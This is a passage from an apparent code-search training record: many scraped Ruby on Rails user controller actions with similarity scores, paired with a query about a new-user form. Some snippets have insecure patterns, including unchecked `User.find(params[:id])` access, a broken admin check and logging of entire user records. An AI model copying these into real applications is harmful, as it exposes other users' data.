"def show\n\t\t# Find all users with id passed by params.\n\t\t@user = User.find(params[:id])\n\t\tCUSTOM_LOGGER.info(\"Start to find users #{@user.to_yaml}\")\n\tend",
"def show\n \t@user = User.find params[:id]\n end",
"def show\n @user = @current_user \n @user = User.find( params[:id] ) \n end",
"def show #sss2208\n @user = User.find(params[:id])\n end",
"def show\n\n @user = User.get(params[:id])\n \n if signed_in? && @user.id == current_user.id\n @menu = \"home\"\n @board = \"user\"\n @section = \"show\"\n \n render 'user'\n else\n redirect_to '/'\n end\n end",
"def show\n # this finds the current user\n @user = User.find params[:id]\n end",
"def show_user(id)\n BrickFTP::API::User.find(id)\n end",
"def show_user(id)\n BrickFTP::API::User.find(id)\n end",
"def user\n @user = User.find_by(id: params[:user_id]) || render_404\n end",
"def show\n user = User.find(current_user.username)\n redirect_to user_path(user)\n end",
"def user(id = nil)\n id.to_i.zero? ? get('/user') : get(\"/users/#{id}\")\n end",
"def show\n @user = User.find(params[:user_id])\n end",
"def show_your_profile\n if params[:id] != session[:user_id].to_s\n redirect_to user_path\n end\n end",
"def show\n @user = User.find( params[:id] )\n end",
"def show\n @user = User.find(params[:user_id])\n \n end",
"def show\n # Can only view page if you are an admin or the logged in user\n if current_user && (current_user.admin || current_user.id.to_f == params[:id].to_f)\n else\n redirect_to current_user\n end\n end",
"def show\n if params[:id].present?\n @user = User.find_by_uuid(params[:id])\n else\n @user = current_user\n end\n end",
"def show\n @user = User.find_by(params[:id])\n end",
"def show\n @user = User.find_by_urlname(params[:id])\n @active = 'my_account' if @user == current_user\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { @user.to_xml }\n end\n end",
"def show\n if !params[:id]\n @user = current_user\n else\n @user = User.find_by_username(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n # Pundit authorization can be skipped because\n # before_filter :authorize_user_index handles authorization\n skip_authorization\n\n @user = User.find_by_id(params[:id])\n\n if @user == nil\n @user = User.find_by_id(current_user.id)\n end\n\n respond_to do |format|\n format.html\n format.json { render :json => @user, status: 200 }\n end\n end",
"def show\n if (params[:id] == current_user.id)\n @user = current_user\n else\n @user = User.find(params[:id])\n end\n\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show \n find_user\n # if !session[:user_id] == params[:id]\n # flash[:message] = \"Restricted Access!!!\"\n end",
"def show\n @user = User.find_by_param(params[:id])\n end",
"def show\n if(params[:id].to_s() == User.find_by_userName(session[:userName]).id.to_s())\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n else\n flash[:notice] = \"Access denied.\"\n redirect_to users_notauthorized_path\n end\n end",
"def show\n if current_user.is_normal?\n @user = User.find( params[:id] )\n render :profile\n else\n redirect_to user_profile_path\n end\n end",
"def show\n\t\t@user = User.find(params(:id))\n\tend",
"def show\n \t@user = User.find(params[:id])\n end",
"def show\n \t@user = User.find(params[:id])\n end",
"def show\n user = User.find_by_id(params[:id])\n if user.nil?\n # No user with that id\n render 'shared/http_status', locals: {code: '404', message:\n 'No user exists with that id'}, status: 404\n else\n respond_to do |format|\n format.xml { render xml: user.to_xml(only: DEFAULT_FIELDS, root: 'user', skip_types: 'true') }\n format.json { render json: user.to_json(only: DEFAULT_FIELDS) }\n end\n end\n end",
"def show\n @user = User.find(params[:id])\n render\n end",
"def show\n @user = Helpers.show_each_user(params[:id])\n check_user_nil('Success', 'User does not exist', @user)\n end",
"def show\n @user = User.find(params[:id])\n render :show\n end",
"def show\n @user = User.find(params[:id])\n render :show\n end",
"def show \n\t\t@user = User.find(params[:id])\n\t\trender :index\n\tend",
"def show\n @user = User.friendly.find(params[:id])\n end",
"def show\n begin\n @user = User.find(params[:id])\n rescue\n render 'shared/not_found'\n end\n end",
"def get_user_from_id\n #convert URL id to integer and set into instance var user_id\n @user_id = params[:id].to_i\n #look up the user based on id and cast into instance var\n @user = User.find_by_id(@user_id)\n #if no user found redirect back to previous page with error\n if !@user\n flash[:error] = \"User does not exist\"\n custom_redirect_back\n end\n end",
"def show\n @user = UserService.getUserById(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n if $current_user.nil? or $current_user.id != @user.id\n redirect_to signin_path\n else\n @title = \"#{@user.userName}'s profile\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end\n end",
"def show \n # DIY Authorization\n @some_user = User.find(params[:id]) \n # ^ so users can't access eachothers show page by changing the URL :id\n\n if @some_user.id != session[:user_id]\n redirect_to '/' \n else \n # assign current_user(from AppController) to the instance vari @user\n @user = current_user # looks them up by session[:user_id]\n end\n end",
"def show\n @user = User.find(params[:id]) \n end",
"def show\n #@user = User.find(params[:id])\n end",
"def show\n unless @user==User.find(params[:id])\n flash[:notice]= \"You can only see your own profile.\"\n redirect_to root_path\n end\n @user=User.find(params[:id])\n end",
"def show\n\n @user = User.get(params[:id])\n \n if admin_signed_in?\n @menu = \"home\"\n @board = \"user\"\n @section = \"show\"\n \n render 'admin/users/user'\n else\n redirect_to '/'\n end\n end",
"def show\n @path = User.find(params[:id]).name\n end",
"def show\n @user = User.where(params[:id])\n \n drop_breadcrumb(@user.name, admin_role_path(@user))\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def path\n \"/user/#{id}\"\n end",
"def find_user_by_id(id = 'my', params = {})\n object_from_response(Code42::User, :get, \"user/#{id}\", params)\n end",
"def show\n @user=User.find(params[:user_id])\n end",
"def show\n @user = User.find(params[:id])\n \n # A user cant edit or access another users page\n unless session[:user_id] == @user.id && !@user.guest\n flash[:danger] = \"You don't have access to that page!\"\n redirect_to root_url\n end\n end",
"def show\n @user = User.get(params[:id]) \n end",
"def show\n @user = User.find(params[:id]) \n end",
"def url_for_user_show(user)\n if logged_in?\n return url_for user_path(user)\n else\n return url_for login_path\n end\n end",
"def show\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n \t@user = User.find(params[:id])\n else \n redirect_to '/'\n end\n end",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show\n if !current_user && params[:id] != current_user.id && current_user.is_admin == false\n \traise \"You are not authorized to access this function\"\n end\n @user = User.find(params[:id])\n respond_with(@user)\n end",
"def show\n @user = User.find(params[:id])\n\n if @user.state != 'active' or @user.login == 'admin'\n return redirect_to users_path\n end\n \n @page_ancestors = [{:name=>'Community', :url=> users_path}]\n @bc_title = 'User Profile'\n \n respond_to do |format|\n format.html # show.html.erb\n format.iphone\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id]) \n @user_me = retrieve_authenticated_user\n end",
"def show\n @user_id = User.find(params[:id])\n id = @user_id.id\n puts(id)\n @user = User.find(id)\n puts(@user)\n end",
"def show\n if current_user && current_user.admin? \n @user = User.find(params[:id])\n respond_with user_path(@user)\n else\n flash[:notice] = 'You do not have Admin see users information'\n redirect_to :back\n end\n end",
"def show\n @user = Admin.from_param(params[:id])\n\n respond_to do |format|\n format.html { redirect_to user_profile_path(@user) }\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = find_user\n end",
"def show \n @user = User.find(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n\n end",
"def show \n @user = User.find(params[:id])\n end",
"def show\n\t\t@user = User.find(params[:id])\n\t\tif @user\n\t\t\t@page_title = \"User: #{@user.title}\"\n\t\tend\n\trescue ActiveRecord::RecordNotFound\n\t\tflash[:notice] =\n\t\t\t\"Could not find a user matching the requested id (‘#{params[:id]}’).\"\n\t\tredirect_to :action=>'index'\n\tend",
"def show\n\t\tif current_user.is_admin\n\t\t\t@user = User.find(params[:id])\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # show.html.erb\n\t\t\t\tformat.xml { render :xml => @user }\n\t\t\tend\n\t\telse\n\t\t\t\n\t\t\tif(current_user.id.to_i != params[:id].to_i)\n\t\t\t\tflash.now[:notice] = \"I privilegi da te posseduti non sono sufficienti a visualizzare altri utenti\"\n\t\t\tend\n\t\t\t@user = current_user\n\t\t\t\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html\n\t\t\t\tformat.xml { render :xml => @user }\n\t\t\tend\n\t\tend\n\n\tend",
"def show\n if params[:id]\n @user = User.find(params[:id])\n else\n @user = current_user\n end\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n # authorize! :show, @user\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user }\n end\n end",
"def show\n redirect_to edit_user_path(params)\n end",
"def show\n @user = User.find(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n end"
] |
[
"0.7555533",
"0.7408054",
"0.73857564",
"0.7347955",
"0.729226",
"0.72882116",
"0.7271526",
"0.72239494",
"0.7171442",
"0.7153677",
"0.712616",
"0.7118207",
"0.70752585",
"0.7073682",
"0.7067555",
"0.7033212",
"0.7015203",
"0.7006191",
"0.6985289",
"0.69457144",
"0.69437253",
"0.69210804",
"0.69181263",
"0.6915336",
"0.69134337",
"0.69043064",
"0.6900336",
"0.68986446",
"0.688575",
"0.6860327",
"0.68501616",
"0.68501616",
"0.68416667",
"0.68346506",
"0.6832484",
"0.6818083",
"0.6816466",
"0.6815366",
"0.68151814",
"0.6811419",
"0.6802135",
"0.68007827",
"0.6792205",
"0.67735523",
"0.6772768",
"0.67724013",
"0.67723674",
"0.6771956",
"0.67710745",
"0.6769718",
"0.676425",
"0.67464715",
"0.67464715",
"0.6742853",
"0.67378575",
"0.6732048",
"0.67266107",
"0.67266107",
"0.6712096",
"0.6707385",
"0.6706355",
"0.6703494",
"0.6698611",
"0.66971344",
"0.6692848",
"0.66863424",
"0.6684854",
"0.66833466",
"0.66727656",
"0.6664047",
"0.6660187",
"0.6655755",
"0.66552794",
"0.6643438",
"0.663469",
"0.6633896",
"0.6630711",
"0.66228116",
"0.6613649",
"0.6613567",
"0.6613567",
"0.6613567",
"0.6613567",
"0.6613567",
"0.66038543",
"0.66031307",
"0.65962374",
"0.659377",
"0.6592155",
"0.6590311",
"0.65896845",
"0.6585607",
"0.6582996",
"0.6578454",
"0.6570712",
"0.65614337",
"0.65607065",
"0.65597415",
"0.65583813",
"0.65581256",
"0.65581256"
] |
0.0
|
-1
|
Displays a form to create a new user. Posts to the create action.
|
def new
@roles = current_user.pass_on_roles.to_a || [] # logged-in user can give his own roles to new user
@user = User.new
params[:id] = current_user.center if params[:id] == "0"
if !params[:id].nil? # create new user for specific center/team
@groups = Group.this_or_parent(params[:id])
@group = Group.find(params[:id])
@user.groups += @groups
else
@groups = if current_user.has_role?(:centeradmin)
Group.where(:center_id => current_user.center_id)
else
current_user.center_and_teams
end
end
if current_user.has_role?(:superadmin) # superadmin can create users in all groups
@groups = (Center.all + current_user.center.teams).sort_by { |c| c.title }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @user = User.new(params[:user])\n if @user.save\n redirect_to users_path, notice: t('users.update.updated')\n else\n @page_title = t(\"actions.new_user\")\n render action: 'new'\n end\n end",
"def create\n\t\t@user = User.new(params[:user])\n\t\tif @user.save\n\t\t\tredirect_to root_url, notice: \"Added new user to the database\"\n\t\telse\n\t\t\trender \"new\"\n\t\tend\n\tend",
"def create\n\t\t@user = User.new(user_params)\n\t\t\n\t\tif @user.save\n\t\t\tredirect_to users_path\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend",
"def new\n\t@user = User.new\n\t@title = \"Sign up\"\n end",
"def new\n\t@title = \"Sign Up\"\n\t@user = User.new\n end",
"def new\n\t\tmissing unless WAYGROUND['ALLOW_SIGNUP']\n\t\t@user = User.new(params[:user])\n\t\t@user.time_zone = Time.zone.name unless params[:user]\n\t\t@user.valid? if params[:user]\n\t\t@page_title = 'New User Registration'\n\tend",
"def new\n # create new user object ONLY (does not save a user to the database)\n # this lets the form_for in our view know to create a form with\n # with html attributes designated to create a new user\n @user = User.new\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n redirect_to root_path, notice: 'User was successfully created'\n else\n render action: 'new'\n end\n end",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\tredirect_to login_path\n\t\telse\n\t\t\trender :new\n\t\tend\n\tend",
"def create\n # When a http POST request to '/users' is received from the form rendered in\n # '/users/new', have it create a user with the information from the input field.\n # After creating the user, redirect to the '/users' route.\n @user = User.create(params[:user])\n redirect_to action: \"index\"\n end",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\tflash[:notice] = \"Thanks for signing up\"\n\t\t\tredirect_to root_url\n\t\telse \n\t\t\trender 'new'\n\t\tend \n\tend",
"def create\n\t\t@user = User.new(user_params)\n\t\n\t\tif @user.save\n\t\t\tsign_in @user\n\t\t\tflash[:success] = \"Welcome, #{@user.name}!\"\n\t\t\tredirect_to root_path\n\t\telse\n\t\t\trender action: 'new'\n\t\tend\n\n\tend",
"def create\n @title = t('admin.users.new.title')\n @user = User.new(params[:user])\n\n if @user.save\n js_notify message: t('admin.users.create.success'), type: 'alert-success', time: 2500\n render partial: 'user', content_type: 'text/html', locals: { user: @user }\n else\n render partial: 'new', status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(params[:user])\n\n if @user.save\n redirect_to(root_url, :notice => 'User was successfully created.')\n else\n render :action => \"new\"\n end\n end",
"def new\n # When a http GET request to '/users/new' is received, have it render:\n # a view file with an empty form to create a new user.\n end",
"def create\n\t\tif @user.save\n\t\t\tflash[:notice] = \"Your account has been successfully created!\"\n\t\t\tUserMailer.welcome_email(@user).deliver!\n\t\t\tredirect_to root_url\n\t\telse\n\t\t\tflash[:error] = get_all_errors\n\t\t\trender 'new'\n\t\tend\n\tend",
"def create\n @user = User.new(user_params)\n if @user.save\n flash[:user] = t('user_create')\n redirect_to user_path(@user)\n else\n render 'new'\n end\n end",
"def new\n @user = User.new\n @title = \"Sign up\"\n #@action = \"New Action\"\n end",
"def create\n @user = User.new(params[:user])\n\n if @user.save\n flash[:notice] = t('users.create.notice')\n redirect_to users_path\n else\n render :action => \"new\"\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n redirect_to user_path(@user)\n else\n render :new\n end\n end",
"def create\n\t\t@user = User.new(user_params)\n\t\t# If user was save with succes, then sign in automaticly, else, render new.\n\t\tif @user.save\n\t\t\tsign_in @user\n\t\t \tflash[:sucess] = \"Seja bem-vindo!\"\n\t\t\tredirect_to :action => :show, :id => @user.id\n\t\t\tCUSTOM_LOGGER.info(\"Created and associated user to params #{@user.to_yaml}\")\n\t\telse\n\t\t\trender 'new'\n\t\t\tCUSTOM_LOGGER.error(\"Not created and associated user to params #{@user.to_yaml}\")\n\t\tend\n\tend",
"def create\n if user.save\n redirect_to users_path\n else\n render 'new'\n end\n end",
"def new\n @myuser = User.new # Create a new user in memory, whose params will be filled by the form\n end",
"def create\n if params[:submit]\n @user = User.new(params[:user])\n \n respond_to do |format|\n if @user.save\n format.html { redirect_to '/', notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n else\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end\n end",
"def create\n puts \"******* create *******\"\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def new\n @title = \"Signup Page\"\n @user = User.new\n end",
"def create\n @user = User.new user_params #authenticating the user's information. fill in the db with these values.\n if @user.save #if it saves,\n redirect_to \"/users/#{ @user.id }\" #redirect to their profile page\n else\n render :new #if not new form.\n end\n end",
"def create\n @user = User.new(params[:user])\n \n if @user.create_first\n flash[:message] = \"<h2>#{t('welcome', :scope => 'refinery.users.create', :who => @user.username).gsub(/\\.$/, '')}.</h2>\".html_safe\n\n sign_in(@user)\n redirect_back_or_default(refinery.admin_root_path)\n else\n render :new\n end\n end",
"def new\n\t\t @user = User.new\t\t#lo devo passare nella form per la create\n\tend",
"def new\n @title = \"Sign up\"\n @user = User.new\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n redirect_to @user, notice: 'Se creo un usuario exitosamente.'\n else\n render :new\n end\n end",
"def create\n\t\tuser_params = params.require(:user).permit(:first_name, :last_name, :email, :password)\n\t\t@user = User.create(user_params)\n\t\tlogin(@user) #log in user\n\t\tredirect_to \"/users/#{@user.id}\" #go to show\n\tend",
"def new\n @title = \"Sign up\"\n @user= User.new\n end",
"def create\n\t\t@user = User.new(user_params)\n\t if @user.save\n\t \tsession[:user_id] = @user.id\n\t \tredirect_to user_url(@user)\n\t else\n\t \tflash.notice = \"User Registration failed. Try again.\"\n\t \trender 'new'\n\t end\n\tend",
"def create\n @user = User.new(user_params)\n\n if @user.save\n redirect_to @user, :notice => 'User was successfully created.'\n else\n render :new\n end\n end",
"def create\n @user = User.new(params[:user])\n @user.attributes = params[:user]\n if @user.save\n flash[:success] = I18n.t('users.created')\n redirect_to users_path\n else\n self.bread\n add_crumb(I18n.t('users.new'),new_user_path)\n render 'new'\n end\n end",
"def create\n @user = user_from_params\n if @user.save\n sign_in @user\n redirect_back_or url_after_create\n else\n render template: \"users/new\"\n end\n end",
"def create\n @user = User.new params[:user]\n if @user.save\n flash[:notice] = \"#{@user.full_name} was successfully added.\"\n redirect_to users_path\n else\n render :action => :new\n end\n end",
"def create\n\t@user = User.new(params[:user])\n\t\n\tif @user.save\n\t\tsign_in @user\n\t\tUserMailer.welcome_email(@user).deliver\n\t\tflash[:success] = \"Welcome to g8keep!\"\n\t\tredirect_to @user\n\telse\n\t\t@title = \"Sign up\"\n\t\t@user.password = nil\n\t\t@user.password_confirmation = nil\n\t\trender 'new'\n\tend\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n redirect_to_created_user(format)\n else\n format.html { render :new }\n end\n end\n end",
"def create\n\t\t@user = User.new(user_params)\n\n\t\trespond_to do |format|\n\t\t\tif @user.save\n\t\t\t\tformat.html {redirect_to @user, notice: 'User was successfully created.'}\n\t\t\t\tformat.json {render :show, status: :created, location: @user}\n\t\t\telse\n\t\t\t\tformat.html {render :new}\n\t\t\t\tformat.json {render json: @user.errors, status: :unprocessable_entity}\n\t\t\tend\n\t\tend\n\tend",
"def create\n @user = User.new(user_params)\n\n if @user.save\n redirect_to users_path, notice: \"ユーザが保存されました\"\n else\n render :new\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n render 'create'\n else\n redirect_to '/'\n end \n end",
"def create\n @user = User.new(params[:user])\n if @user.save\n redirect_to users_path\n else\n redirect_to new_user_path\n end\n end",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\tsign_in @user\n\t\t\tflash[:success] = \"Successful Registration\"\n\t\t\tredirect_to problems_url\n\t else\n\t render 'new'\n\t end\n\tend",
"def new_user\n \trender action: 'new_user'\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n flash[:success] = \"正常に保存されました。\"\n redirect_to users_url\n else\n render 'new'\n end\n end",
"def create\n @user = User.new(params[:user])\n if @user.save\n #flash[:notice] = \"Successfully created user.\"\n redirect_to root_url, :notice => \"Successfully created user.\"\n else\n render :action => 'new'\n end\n end",
"def new\n if params[:submit]\n @user = User.new(params[:user])\n \n respond_to do |format|\n if @user.save\n format.html { redirect_to '/', notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n else\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end\n end",
"def create\n \t@user = User.new(user_params) \n \tif @user.save\n \t\t log_in @user\n flash[:success] = \"Prof-Folio welcomes you onboard!\"\n redirect_back_or\n #redirect_to @user\n \telse\n \t\trender 'new'\n \tend\n end",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\tredirect_to :controller => 'welcome', :action => 'index'\n\t\t\tflash[:info] = 'Wait until admin enables your account'\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend",
"def create\n\t\t\n\t\t@user = User.new(user_params)\n\t\t@user.user_role_id = 3\n\t\t@user.status_ace = true\n\t\t\n\t\tif @user.save\n\t\t\tredirect_to root_url, notice: \"New user created successfully. You can log in now.\"\n\t\t\telse\n\t\t\trender \"new\"\n\t\tend\n\t\t\n\tend",
"def create\n @user = User.new(params[:user])\n if @user.save\n redirect_to root_url, :notice => \"Signed up!\"\n else\n render \"new\"\n end\n end",
"def create\n\t\t@user = User.new(params[:user])\n\t\tif @user.valid?\n\t\t\t@user.save\n\t\t\tflash[:notice] = \"Successfully created new member!\"\n\t\t\tredirect_to :action => :show, :id => @user.id\n\t\telse\n\t\t\tflash[:alert] = \"There was an error in validating the new member\"\n\t\t\trender :action => :new\n\t\tend\n\tend",
"def new\n unless current_user.admin?\n flash[:error] = \"Users can only be created by administrators.\"\n redirect_to (request.env[\"HTTP_REFERER\"] || root_path) and return\n end\n \n @user = User.new\n end",
"def create\n\t\t@user = User.new(user_params)\n\n\t\tif @user.save\n\t\t\t#login the user\n\t\t\tsession[:id] = params[:id]\n\t\t\t#redirect to user home page\n\t\t\tredirect_to home_path\n\n\t\telse\n\t\t\trender :new\n\t\t\t\n\t\tend\n\t\t\n\tend",
"def create \n @myuser = User.new(params[:user]) # 'user' is a dictionary created by the signup form and containing the new user's filled-in parameters\n if @myuser.save\n flash[:success] = \"Welcome to the Sample App!\"\n redirect_to @myuser\n else\n render 'new'\n end\n end",
"def create\n @user = User.new(\n fname: params[:user][:fname],\n lname: params[:user][:lname]\n )\n\n if @user.save\n flash[:notice] = \"The user was created\"\n redirect_to user_path(@user)\n else\n # flash[:alert] = \"The user was not created\"\n render :new\n end\n end",
"def create\n # User.create(params[:user])\n # User.create(user_params)\n @user = User.new(user_params)\n if @user.save\n # 成功\n # GET \"/users/#{@user.id}\"\n log_in @user\n #サインナップ(ユーザー登録)したらログインとなる\n flash[:success] = \"Welcome to the Sample App!\"\n redirect_to @user\n # => redirecto_to user_path(@user)\n # => redirecto_to user_path(@user.id)\n # => redirecto_to user_path(1) = /user/1\n else\n render 'new'\n # 失敗したため、new.htmlの登録フォームをもう一度出す必要があるため\n end\n end",
"def create\n \t# puts('********')\n \t# puts(params)\n \t\n \tUser.create(user_params)\n\n \tredirect_to action: 'index'\n end",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\tredirect_to sign_in_path\n\t\telse\n\t\t\tredirect_to sign_up_path\n\t\tend\n\tend",
"def create\n # Note this is different to the usual situation where anybody can create\n # an account. Here, only administrators can create accounts for others;\n # and doing so does not log them out.\n unless current_user.admin?\n flash[:error] = \"Users can only be created by administrators.\"\n redirect_to (request.env[\"HTTP_REFERER\"] || root_path) and return\n end\n \n @user = User.new(params[:user])\n success = @user && @user.save\n if success && @user.errors.empty?\n # Protects against session fixation attacks, causes request forgery\n # protection if visitor resubmits an earlier form using back\n # button. Uncomment if you understand the tradeoffs.\n # reset session\n redirect_to users_path\n flash[:notice] = \"The account #{ERB::Util.h @user.login} has been setup for #{ERB::Util.h @user.name}.\"\n else\n flash.now[:error] = \"We couldn't set up that account, sorry.\"\n render :action => 'new'\n end\n end",
"def new\n @user = flash[:form_data] || User.new\n @title = 'New user'\n\n render_view(:form)\n end",
"def create\n @user = User.new(params[:user])\n if @user.save\n flash[:notice] = 'Registration successfull.' \n redirect_to root_url\n else\n render :action => \"new\"\n end\n end",
"def create\n\t\t@user = User.new(params[:user])\n\n\t\trespond_to do |format|\n\t\t\tif @user.save\n\t\t\t\tformat.html { redirect_to(@user, :notice => 'User was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @user, :status => :created, :location => @user }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n \t@user = User.new(user_params)\n if @user.save\n redirect_to login_path, notice: \"The registration success, you can login now.\"\n else\n render 'new'\n end\n end",
"def create\n\tputs \"\\n \\t\\tin create\\n\" + params[:user].inspect\n @user = User.new(params[:user])\n\n\tputs @user.inspect\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n flash[:notices] = ['User Created!']\n redirect_to users_path\n else\n \tflash[:alerts] = @user.errors.full_messages\n render 'new'\n end\n end",
"def new\n\t\t@user = User.new\n\t\trender :new\n\tend",
"def create\n @user = User.new params[:user]\n\n if @user.save\n flash[:notice] = t :registered, :scope => :flash\n redirect_to root_url\n else\n render :action => \"new\"\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n\n redirect_to edit_user_path(@user.id)\n else\n redirect_to sign_up_path\n end\n end",
"def new_user\n\t\t@resource = User.new\n\t\t@resource_name = 'user'\n\tend",
"def create\n @user = User.new(user_params)\n if @user.save\n redirect_to root_url, :notice => \"You have succesfully signed up!\"\n else\n :notice => \"Unable to create profile for user\"\n render :new\n end\n end",
"def create\n @user = User.new(user_params)\n\n # save was requested by either current_user or else must be a new registration\n if @user.save(current_user)\n redirect_to users_path\n else\n render('new', status: :unprocessable_entity)\n end\n end",
"def create\n @user = User.new(params[:user])\n if @user.save\n redirect_to admin_users_path, :notice => t('flash.admin.users.create')\n else\n render :action => \"new\"\n end\n end",
"def new\n\t \t@user = User.new\n\t \t#get the type of user being created based on what button was clicked\n\t\t@type = params[:type]\n\n\t\t#produce a list of supervisors\n\t\t@sups = User.where(type: Supervisor)\n\n\t\trender(\"new\")\n\t end",
"def create\n @new_user = NewUser.new(new_user_params)\n\n respond_to do |format|\n if @new_user.save\n format.html { redirect_to @new_user, notice: 'New user was successfully created.' }\n format.json { render :show, status: :created, location: @new_user }\n else\n format.html { render :new }\n format.json { render json: @new_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t@user = User.create(user_params)\n\tif @user.save\n\t\tflash[:notice] = \"Your account has been created.\"\n\telse\n\t\tflash[:notice] = \"There was an error creating your account.\"\n\tend\n\tredirect_to root_path\nend",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to root_url, notice: 'Usuário criado com sucesso.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\t\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user\n @user = User.new(params[:user])\n @user.save\n \n redirect_to :action => :users\n end",
"def create\n if logged_in?\n # User who has logged in has no need to access create action\n redirect_to current_user\n else \n # Ready to create new user\n @user = User.new(params[:user])\n if @user.save\n # Handle a successful save.\n log_in @user\n flash[:success] = \"Welcome to the Sample App!\"\n redirect_to @user\n else\n \t# Render signup page\n render 'new'\n end\n end\n end",
"def create\n\t\t@user = User.new(:email => params[:user][:email], :password => params[:user][:password], :password_confirmation => params[:user][:password_confirmation])\n\t\t#save the new user\n\t\tif @user.save\n\t\t\t#If successfully created, stay on the newuser page and flashmessage success. \n\t \t\tredirect_to newusers_path\n \t\t\tflash[:notice] = \"#{ @user.email } created.\"\n \t\telse\n \t\t\t#if the new user was not able to be created, flash message all errors that made it unsuccessful \n \t\t\t#and stay on the newuserpage\n \t \t\t@messages = \"User was not able to be created. \"\n \t \t\t#parse the error messages and put it into a user readable version\n \t \t\t@user.errors.full_messages.each do |message|\n \t \t\t\t@messages = @messages + message + \". \"\n \t \t\tend\n \t \t\tflash[:notice] = @messages\n \t\t\tredirect_to newusers_path\n \t\tend\n \tend",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html do\n redirect_to users_url,\n notice: I18n.t('activerecord.attributes.user.messages.created', name: @user.name)\n end\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n respond_to do |format|\n if @user.save\n format.html { redirect_to ({action:'index'}), notice: 'ユーザー作成しました' }\n format.json { render :show, status: :created, location: @user }\n else\n set_superiors\n format.html { render :new}\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n \n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'user was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n if @user.save\n # Handle a successful save.\n sign_in @user\n flash[:success] = \"Welcome to turftalk!\"\n redirect_to '/users'\n else\n @title = \"Sign up\"\n render 'new'\n end\n end",
"def new\n @title=\"Sign Up\"\n @user = User.new\n end",
